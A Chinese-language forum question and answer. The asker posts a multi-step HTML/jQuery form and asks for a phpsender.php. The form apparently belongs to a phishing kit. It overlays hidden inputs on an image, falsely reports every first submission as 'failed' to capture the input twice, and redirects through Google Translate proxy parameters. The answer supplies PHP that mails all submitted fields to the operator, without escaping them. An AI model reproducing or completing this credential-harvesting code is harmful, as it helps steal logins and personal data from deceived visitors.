我遇到了类似的问题,并且我完全不知道 phpsender.php 文件上写的内容。这是我的案例:我有一个表格,分为两个或三个阶段,客户需要填写。他们在第一个表单中输入用户名和位置,一旦点击发送按钮,他们就会进入第二个表单,在其中输入电话号码、电子邮件和消息。在第二个表单中,一旦他们点击提交按钮,我需要将第一个和第二个表单中的所有表单输入值发送到我的电子邮件。
表格的第一部分:
<form class="ZdyDsE vAlignMiddle" style="width:auto;" >
<input name="email" id="username" class="UPkfdH textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 325px; left: 173px; top: 326px; z-index: 1; border:none">
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div class="offline-ui offline-ui-up">
<div class="offline-ui-content"><input id="location" name="location" class="l9X2Aa textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 331px; left: 171px; top: 400px; z-index: 1 ; border:none"></div>
<a href="" class="BTMDID"></a>
</div>
<div id="user_error" style="color:red; display:none">Please enter your username.</div>
<div id="loca_error" style="color:red; display:none">Please enter your location.</div>
<div id="message" style="color:red; display:none"> failed.</div>
</div>
<div id="submitbutton" style="position: absolute; left: 82px; top: 454px; z-index: 2; width: 420px; height: 70px;"><input type="image" width="420" height="70" src="./index_files/submit.jpg"></div>
<p> </p>
</form>
<script>
var count =0;
document.getElementById("submitbutton").addEventListener("click", function(e) {
event.preventDefault();
var email = document.getElementById("username").value;
var location = document.getElementById("location").value;
if (email == "" || email == null){
clearErrors();
document.getElementById("user_error").style.display ='block';
}else if(location == "" || location == null){
clearErrors();
document.getElementById("loca_error").style.display ='block';
}else{
clearErrors();
count=count+1;
$.ajax({
"async": true,
"crossDomain": true,
"dataType": 'JSON',
"url": "phpsender.php",
"method": "GET",
"headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Control-Allow-Origin': '*' },
"data": {"email": email, "location": location}
}).done(function() {
}).fail(function() {
clearErrors();
document.getElementById("message").style.display ='block';
document.getElementById("location").value ="";
if(count >= 2){
count=0;
clearErrors();
var href = window.location.href;
var dir = href.substring(0, href.lastIndexOf('/')) + "/";
window.location.replace(dir+'dat_mobile.php?_x_tr_sl=auto&_x_tr_tl=null&_x_tr_hl=null&_x_tr_pto=wapp&username='+email);
}
});
}
});
function clearErrors(){
document.getElementById("user_error").style.display ='none';
document.getElementById("loca_error").style.display ='none';
document.getElementById("message").style.display ='none';
}
</script>
我需要在 phpsender.php 文件中编写什么代码??? 拜托,拜托,我需要你们的帮助。
我只是不知道需要在 phpsender.php 文件上写什么。我需要帮助。
我应该写这样的东西吗?
<?php
$username = $_POST['username'];
$location = $_POST['location'];
//Do whatever php code here that makes you happy.
mail($email, $name, "Thank you");
?>
试试这个
第1步:更改$.ajax中的方法
method : "POST"
第2步:将您要通过电子邮件发送的$.ajax中的数据属性中的所有输入值传递给您
第3步:在phpsender.php文件中编写如下代码
<?php
//Receive All Post Value Which Is Send By Ajax
$username = $_POST['username'];
$location = $_POST['location'];
$email = $_POST['email'];
$phone_number = $_POST['phone_number'];
$message = $_POST['message'];
// Design email template as per your requirement
$body = '<style>
table, th, td {
border: 1px solid black;
border-collapse: collapse;
}
</style>';
$body .= '<p>Customer Details</p>';
$body .= '<table style="width:100%">
<tr>
<td>Username</td>
<td>'.$username.'</td>
</tr>
<tr>
<td>Location</td>
<td>'.$location.'</td>
</tr>
<tr>
<td>Email</td>
<td>'.$email.'</td>
</tr>
<tr>
<td>Phone number</td>
<td>'.$phone_number.'</td>
</tr>
<tr>
<td>Message</td>
<td>'.$message.'</td>
</tr>
</table>';
$to = "[email protected]"; // Add your email address (If you want to send email to customer then write here customer email address)
$subject = "Test"; // Add subject as per your requirement
$from = "[email protected]"; // Add your email address
$headers = "From:" . $from;
$is_send = mail($to,$subject,$body,$headers);
if($is_send){
echo 'Email sent successfully';
// Write further code here as per your requirement.
}else{
echo 'Something went wrong while sending email';
// Write further code here as per your requirement.
}
?>
注意:您无法通过本地主机发送电子邮件。邮件功能会在您的代码在线时发送信息。